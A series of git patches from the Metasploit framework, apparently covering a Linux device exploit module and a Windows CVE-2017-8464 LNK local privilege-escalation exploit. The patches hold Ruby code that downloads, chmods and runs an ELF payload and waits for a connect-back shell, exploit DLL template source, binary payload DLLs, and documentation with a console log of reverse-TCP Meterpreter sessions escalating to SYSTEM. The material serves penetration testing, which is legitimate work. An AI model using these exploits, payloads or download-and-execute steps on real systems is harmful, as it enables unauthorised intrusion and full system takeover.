-      wait_for_linux_payload
-    end
-    register_file_for_cleanup("/tmp/#{filename}")
-
-
-    #
-    # Sets binary permissions to executable
-    #
-    cmd = "chmod 777 /tmp/#{filename}"
-    print_status("#{peer} - Requesting device to chmod #{downfile}")
-    res = execute(cmd, username, password)
-    if (!res)
-      fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload") # fannccyyy
-    end
-
-    #
-    # Executes binary on target
-    #
-    cmd = "/tmp/#{filename}"
-    print_status("#{peer} - Requesting device to execute #{downfile}")
-    res = execute(cmd, username, password)
-    if (!res)
-      fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload")
-    end
-    wait_for_connect
-  end
-
-
-  #
-  # Handler for web server payload delivery
-  #
-  def on_request_uri(cli, request)
-    if (not @pl)
-      print_error("#{peer} - A request came in, but the payload was not ready")
-      return
-    end
-    print_status("#{peer} - Sending payload to the server...")
-    @elf_sent = true,
-    send_response(cli, @pl)
-  end
-
-  #
-  # Waits for shell to connect back to us, otherwise server stops and nothing is returned
-  #
-  def wait_for_connect
-    print_status("#{peer} - Waiting #{datastore['CONNECTBACK_DELAY'].to_s} seconds for shell to connect back to us...")
-    waited = 0
-    while (@elf_sent)
-      select(nil, nil, nil, 1)
-      waited += 1
-      if (waited > datastore['CONNECTBACK_DELAY'])
-        fail_with(Failure::Unknown, "#{peer} - Shell never connected to us!, disconnect?")
-      end
-    end
-  end
-
-  #
-  # Waits for target to request payload
-  #
-  def wait_for_linux_payload
-    print_status("#{peer} - Waiting for target to request the ELF payload...")
-
-    waited = 0
-    while (not @elf_sent)
-      select(nil, nil, nil, 1)
-      waited += 1
-      if (waited > datastore['HTTP_DELAY'])
-        fail_with(Failure::Unknown, "#{peer} - Target didn't request the ELF payload - Maybe it can't connect back?") # ;-;
-      end
-    end
+    @username, @password = retrieve_creds
+    execute_cmdstager(
+      :flavor => :wget,
+      :linemax => 200
+    )
   end
 end

From c2578c148747fb6abb6518354295dc465533f294 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Tue, 7 Nov 2017 19:11:24 -0500
Subject: [PATCH 115/254] Refactor GetProcessSid to remove do while FALSE

---
 .../cve-2017-8464/template_x64_windows.dll    | Bin 21504 -> 21504 bytes
 .../cve-2017-8464/template_x86_windows.dll    | Bin 17408 -> 17408 bytes
 .../source/exploits/cve-2017-8464/template.c  |  51 +++++++-----------
 3 files changed, 19 insertions(+), 32 deletions(-)

diff --git a/data/exploits/cve-2017-8464/template_x64_windows.dll b/data/exploits/cve-2017-8464/template_x64_windows.dll
index eda57c8d927d138f1786132d7d1324c704bb70c8..b21ab665a105d5792321e41db163dd40b1c02300 100644
GIT binary patch
delta 2800
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
QhV!d`q|_Zwoc}ZZKQ-lvy#N3J

delta 2798
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
Qx@x|mbaHg)6SwLA0DJ0_tpET3

diff --git a/data/exploits/cve-2017-8464/template_x86_windows.dll b/data/exploits/cve-2017-8464/template_x86_windows.dll
index eeef7fb413215ccc7b676fda2873ece79e5e1b8b..81519d1080cf3322308fef406984d3f3e178b34e 100644
GIT binary patch
delta 283
zcmV+$0p$LGhyj3z0g#9Tx;f~Pi%kN3!?D`S1p!Z!rUqjH>yruxU;&DgYX=|!X|s$6
zj{ygR><op#ba;~}2|Wsx6aWB)z=^|jF_Uu%Ck}NCi5w*8ZWI6jF~I9^lbi`x91j!#
z0E<Q7i3BA76?Ac|Yfv%3gFXNcmB5W<^ph0|L;;SIS_*FgcazErBmqj3?+O|j=Mn$_
zg}`+Pi?zu9|NrY0iF_mki5w*850fGbfC1{WqYHflvm6iTA_P230$P&@GAsf3vo$gu
z4ogfmr8T)V)HUWc0X980Up9O;E;oZWmN&IG!8hGE|2GskQaD~Xi8!J-$2j&l2RR!#
hH#w;}x;f}M89GQhQ96G*kUF3`w>s21>9d_cV*~gLXpR5?

delta 287
zcmV+)0pR|Chyj3z0g#9TzB%lXi%kOfRI%F21p!l&rUqjH?~@7#U;&PkYX=|!ZL^FA
zj{yxa(u3>_g}@Jl=l}o!lOhQ{4v!Q70ENJb!w-an0001!X$dC+bW@X_30EQ!6aWB=
zMc{?NbP9<CB>xq3aja`lG17xR01uVIjb-$S(324gL;;GERtj$cbCbpjBmqW~>k1kf
z;}QS>g}`+Pi?zu9|NrY0iF_mki5w*83zHrTfC1*Sp9_5hvmg)TA_VV2)>)GXGAsf7
zvo$gu4ogxsqcyiR(lz8Y12#c6V>W;`GB<}enm4&O#W&$M12`BsRyblfjX0(_%Q*Tt
l3ppP-J2|a6zB%kU9Xd=pRXT$@lscq3yE@o9?X#UgV*`EuYH$Dm

diff --git a/external/source/exploits/cve-2017-8464/template.c b/external/source/exploits/cve-2017-8464/template.c
index af8924e605..d995037b69 100644
--- a/external/source/exploits/cve-2017-8464/template.c
+++ b/external/source/exploits/cve-2017-8464/template.c
@@ -48,44 +48,31 @@ BOOL GetProcessSid(HANDLE hProc, PSID *pSid) {
 	SIZE_T szSid = 0;
 
 	*pSid = NULL;
-	do {
-		if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
-			return FALSE;
-		}
+	if (!OpenProcessToken(hProc, (TOKEN_READ), &hToken)) {
+		return FALSE;
+	}
 
-		GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
-		tuUser = (TOKEN_USER *)malloc(dwLength);
-		if (tuUser == NULL) {
-			break;
-		}
+	GetTokenInformation(hToken, TokenUser, NULL, 0, &dwLength);
+	tuUser = (TOKEN_USER *)malloc(dwLength);
+	if (!tuUser) {
+		return FALSE;
+	}
 
-		if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
-			break;
-		}
-
-		szSid = GetLengthSid(tuUser->User.Sid);
-		*pSid = LocalAlloc(LPTR, szSid);
-		if (*pSid == NULL) {
-			break;
-		}
-
-		if (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid)) {
-			LocalFree(*pSid);
-			*pSid = NULL;
-		}
-	} while (FALSE);
-
-	if (tuUser != NULL) {
+	if (!GetTokenInformation(hToken, TokenUser, tuUser, dwLength, &dwLength)) {
 		free(tuUser);
-	}
-	if (hToken) {
-		CloseHandle(hToken);
+		return FALSE;
 	}
 
-	if (*pSid != NULL) {
-		return TRUE;
+	szSid = GetLengthSid(tuUser->User.Sid);
+	*pSid = LocalAlloc(LPTR, szSid);
+	if ((*pSid) && (!CopySid((DWORD)szSid, *pSid, tuUser->User.Sid))) {
+		LocalFree(*pSid);
+		*pSid = NULL;
 	}
-	return FALSE;
+
+	free(tuUser);
+	CloseHandle(hToken);
+	return *pSid != NULL;
 }
 
 BOOL IsProcessRunningAsSidString(HANDLE hProc, LPCTSTR sStringSid, PBOOL pbResult) {

From 6f9671ff11d11ce32332a4ea351d1ef149b0a3f3 Mon Sep 17 00:00:00 2001
From: OJ <oj@buffered.io>
Date: Wed, 8 Nov 2017 12:36:50 +1000
Subject: [PATCH 116/254] Updated Payloads version to 1.3.14

---
 Gemfile.lock                 | 4 ++--
 metasploit-framework.gemspec | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/Gemfile.lock b/Gemfile.lock
index 024c7dca5d..74669f4890 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -17,7 +17,7 @@ PATH
       metasploit-concern
       metasploit-credential
       metasploit-model
-      metasploit-payloads (= 1.3.13)
+      metasploit-payloads (= 1.3.14)
       metasploit_data_models
       metasploit_payloads-mettle (= 0.2.5)
       msgpack
@@ -178,7 +178,7 @@ GEM
       activemodel (~> 4.2.6)
       activesupport (~> 4.2.6)
       railties (~> 4.2.6)
-    metasploit-payloads (1.3.13)
+    metasploit-payloads (1.3.14)
     metasploit_data_models (2.0.15)
       activerecord (~> 4.2.6)
       activesupport (~> 4.2.6)
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index bb1923e736..b5909960ca 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -70,7 +70,7 @@ Gem::Specification.new do |spec|
   # are needed when there's no database
   spec.add_runtime_dependency 'metasploit-model'
   # Needed for Meterpreter
-  spec.add_runtime_dependency 'metasploit-payloads', '1.3.13'
+  spec.add_runtime_dependency 'metasploit-payloads', '1.3.14'
   # Needed for the next-generation POSIX Meterpreter
   spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.2.5'
   # Needed by msfgui and other rpc components

From 11093b8393ee8f835d766ee3c66903e2d33b4908 Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Wed, 8 Nov 2017 08:07:06 -0600
Subject: [PATCH 117/254] Added documentation

---
 .../windows/local/cve_2017_8464_lnk_lpe.md    | 164 ++++++++++++++++++
 1 file changed, 164 insertions(+)
 create mode 100644 documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md

diff --git a/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md b/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md
new file mode 100644
index 0000000000..d90403924a
--- /dev/null
+++ b/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md
@@ -0,0 +1,164 @@
+## Description
+This PR adds a new Windows local exploit version of the existing file
+format module for CVE-2017-8464. The module works by dropping the
+specially crafted LNK file and DLL to disk, which causes
+`SearchProtocolHost.exe` to parse the LNK file and thus load the DLL via
+the vulnerability. Due to `SearchProtocolHost.exe` running as SYSTEM,
+this can be used to elevate privileges.
+
+The original DLL template needed some significant reworking to make it
+compatible for execution within `SearchProtocolHost.exe`. The payload
+was originally failing in the hollowed child `rundll32.exe` process with
+a denied error from winsock. I addressed this by checking if the process
+which loaded the crafted DLL is `SearchProtocolHost.exe` and when it is,
+it opens the token of another SYSTEM process and passes it to
+`CreateProcessAsUser` for the payload to work. When the DLL is loaded
+into another process or is not running as SYSTEM, this step is skipped
+and `NULL` is passed as the token.
+
+Finally a thread is spawned to keep a module reference and monitor the
+child process. This is for synchronization to prevent the payload from
+being executed in rapid succession from a single exploitation attempt.
+The mutex was also updated to the constant of `MUTEX!!!` to leverage
+Metasploit's builtin mutex name randomization, which ensures that a name
+is unique per module run but not globally unique.
+
+## Vulnerable Systems
+Tested and works on
+Windows 7x64 SP0
+Windows 7x64 SP1
+Windows 8x64
+Windows 8.1x64
+Windows 10x64 Build 1511
+Windows 10x64 Build 1607
+Windows 10x64 Build 1703
+
+## Running Example:
+```
+> use exploit/multi/handler
+> set payload windows/x64/meterpreter/reverse_tcp
+payload => windows/x64/meterpreter/reverse_tcp
+> set LHOST 192.168.135.112
+LHOST => 192.168.135.112
+> set LPORT 30001
+LPORT => 30001
+> show options
+
+Module options (exploit/multi/handler):
+
+   Name  Current Setting  Required  Description
+   ----  ---------------  --------  -----------
+
+
+Payload options (windows/x64/meterpreter/reverse_tcp):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
+   LHOST     192.168.135.112  yes       The listen address
+   LPORT     30001            yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Wildcard Target
+
+
+[*] > Ruby Code (13 bytes)
+> run -z
+[*] Exploit running as background job 0.
+[*] Started reverse TCP handler on 192.168.135.112:30001 
+[*] Sending stage (205379 bytes) to 192.168.134.133
+[*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
+> sysinfo
+Computer        : WIN7X64-SP0
+OS              : Windows 7 (Build 7600).
+Architecture    : x64
+System Language : en_US
+Domain          : WORKGROUP
+Logged On Users : 4
+Meterpreter     : x64/windows
+> sessions -l
+
+Active sessions
+===============
+
+  Id  Type                     Information                        Connection
+  --  ----                     -----------                        ----------
+  1   meterpreter x64/windows  WIN7X64-SP0\msfuser @ WIN7X64-SP0  192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
+
+> use exploit/windows/local/cve_2017_8464_lnk_lpe
+> set session 1
+session => 1
+> set target 0
+target => 0
+> set payload windows/x64/meterpreter/reverse_tcp
+payload => windows/x64/meterpreter/reverse_tcp
+> set lhost 192.168.135.112
+lhost => 192.168.135.112
+> set lport 30002
+lport => 30002
+> set verbose true
+verbose => true
+> show options
+
+Module options (exploit/windows/local/cve_2017_8464_lnk_lpe):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   DLLNAME                    no        The DLL file containing the payload
+   FILENAME                   no        The LNK file
+   PATH                       no        An explicit path to where the files should be written to
+   SESSION   1                yes       The session to run this module on.
+
+
+Payload options (windows/x64/meterpreter/reverse_tcp):
+
+   Name      Current Setting  Required  Description
+   ----      ---------------  --------  -----------
+   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
+   LHOST     192.168.135.112  yes       The listen address
+   LPORT     30002            yes       The listen port
+
+
+Exploit target:
+
+   Id  Name
+   --  ----
+   0   Windows x64
+
+
+> run -j
+[*] Exploit running as background job 1.
+[*] Started reverse TCP handler on 192.168.135.112:30002 
+[*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
+[*] Sending stage (205379 bytes) to 192.168.134.133
+[*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800
+[*] Waiting 15s before file cleanup...
+[+] Deleted C:\Users\msfuser\HADoIQMbEQDpbbRn.lnk
+[+] Deleted C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
+> sessions -l
+
+Active sessions
+===============
+
+  Id  Type                     Information                        Connection
+  --  ----                     -----------                        ----------
+  1   meterpreter x64/windows  WIN7X64-SP0\msfuser @ WIN7X64-SP0  192.168.135.112:30001 -> 192.168.134.133:49178 (192.168.134.133)
+  2   meterpreter x64/windows  NT AUTHORITY\SYSTEM @ WIN7X64-SP0  192.168.135.112:30002 -> 192.168.134.133:49179 (192.168.134.133)
+
+> getuid
+Server username: WIN7X64-SP0\msfuser
+Server username: NT AUTHORITY\SYSTEM
+> getsystem
+...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).
+> getuid
+Server username: NT AUTHORITY\SYSTEM
+> exit -y
+```
+
+## Compiling instructions
+Run `data/exploits/cve-2017-8464/src/build.sh`
+(Requires `mingw-w64` package)

From fa8d01757965df0ab3b05f8c9b4002fbadf502d7 Mon Sep 17 00:00:00 2001
From: Spencer McIntyre <zeroSteiner@gmail.com>
Date: Wed, 8 Nov 2017 09:29:46 -0500
Subject: [PATCH 118/254] Change documentation from a first person context

---
 .../exploit/windows/local/cve_2017_8464_lnk_lpe.md        | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md b/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md
index d90403924a..b5f4c8bba9 100644
--- a/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md
+++ b/documentation/modules/exploit/windows/local/cve_2017_8464_lnk_lpe.md
@@ -1,5 +1,5 @@
 ## Description
-This PR adds a new Windows local exploit version of the existing file
+This module is a Windows local exploit version of the existing file
 format module for CVE-2017-8464. The module works by dropping the
 specially crafted LNK file and DLL to disk, which causes
 `SearchProtocolHost.exe` to parse the LNK file and thus load the DLL via
@@ -9,7 +9,7 @@ this can be used to elevate privileges.
 The original DLL template needed some significant reworking to make it
 compatible for execution within `SearchProtocolHost.exe`. The payload
 was originally failing in the hollowed child `rundll32.exe` process with
-a denied error from winsock. I addressed this by checking if the process
+a denied error from winsock. This was addressed by checking if the process
 which loaded the crafted DLL is `SearchProtocolHost.exe` and when it is,
 it opens the token of another SYSTEM process and passes it to
 `CreateProcessAsUser` for the payload to work. When the DLL is loaded
@@ -69,7 +69,7 @@ Exploit target:
 [*] > Ruby Code (13 bytes)
 > run -z
 [*] Exploit running as background job 0.
-[*] Started reverse TCP handler on 192.168.135.112:30001 
+[*] Started reverse TCP handler on 192.168.135.112:30001
 [*] Sending stage (205379 bytes) to 192.168.134.133
 [*] Meterpreter session 1 opened (192.168.135.112:30001 -> 192.168.134.133:49178) at 2017-11-06 10:22:02 -0800
 > sysinfo
@@ -132,7 +132,7 @@ Exploit target:
 
 > run -j
 [*] Exploit running as background job 1.
-[*] Started reverse TCP handler on 192.168.135.112:30002 
+[*] Started reverse TCP handler on 192.168.135.112:30002
 [*] Generating LNK file to load: C:\Users\msfuser\QtGyQHZpWvmzjdsn.dll
 [*] Sending stage (205379 bytes) to 192.168.134.133
 [*] Meterpreter session 2 opened (192.168.135.112:30002 -> 192.168.134.133:49179) at 2017-11-06 10:23:03 -0800

From 9b24ed84060041284f72db64a7c121a347fe9898 Mon Sep 17 00:00:00 2001
From: bwatters-r7 <bwatters@rapid7.com>
Date: Wed, 8 Nov 2017 09:26:40 -0600
Subject: [PATCH 119/254] Removed binaries for recompile

---
 .../cve-2017-8464/template_x64_windows.dll      | Bin 21504 -> 0 bytes
 .../cve-2017-8464/template_x86_windows.dll      | Bin 17408 -> 0 bytes
 2 files changed, 0 insertions(+), 0 deletions(-)
 delete mode 100644 data/exploits/cve-2017-8464/template_x64_windows.dll
 delete mode 100644 data/exploits/cve-2017-8464/template_x86_windows.dll

diff --git a/data/exploits/cve-2017-8464/template_x64_windows.dll b/data/exploits/cve-2017-8464/template_x64_windows.dll
deleted file mode 100644
index b21ab665a105d5792321e41db163dd40b1c02300..0000000000000000000000000000000000000000
GIT binary patch
literal 0
HcmV?d00001

literal 21504
zcmeHv4R}=5ng5xuWcUaZl(7*-2O4a!lFkHCqF`r80(Z&;M+kx+NJ27!tYMPQ+~K2Y
z1t+84UdPQU_3@*-O@dmh7O471VEflef(G!TAu0v5m7?w5F{lw+h|%@#?>+ZSK5)DH
z-~V=>XWivK&zavj?>Xmv-}9dLeBPNUzrLAS7-LohU1w}3kRC7p{I@?gB75A0yT`HT
zM!hz9rz!B-<cigGQCDN6VO6ARjjOsU9Bz<ZD?_eGEbOWayGpNK>{`=M6DrKf8J#a!
z2g?|%xpT}2L4B-n${4fxJT?X7Ai`+ITFwUMQn9CRrcWL>8+udH#*m=rC;}R@ubuIB
zG3EjR53f5cGME-w&5Q*oyM?hv$QyhrK^Lq!t(&p)O@p~#iMUdX6?}!t*v2--+{5{t
zR;Ex6t(QTQCgX#2n}R@{GVG~j!OFs#D!B@@pdBAx1k&{)gkg`DRi+9fM!^;;7et_P
z?qP)x^|GM1u+b>T+gJ%A$-Dw#*yCkxZ{d2Q+@GlJjR@41tA-Uql$To>jS|&83LhIO
z_SI)2=@$}mDZ3eg_<0eAJ)B>iQI7XX3o^$d%pFz;QIty+mMp3u>N5J+jzIhtQex=w
zGH<F-uIKu#CUOda$^{XIJ%;^4^$pdcue*^+<rWPqgec_B9ZC86r4~!^<E~u{y{e76
z5bme6OG>9UZychk(}CtmiMJ)ijKo=#P|Q2Y0pw9q7tI>Xlak_lTsL&qIxcMDjrT3_
zRV-P0EwL>~^hnBU<;tE|Saoi0pu&lsA1;Z1V3O2Hn|(;@it|>`Um%u}I(^ptjP+*k
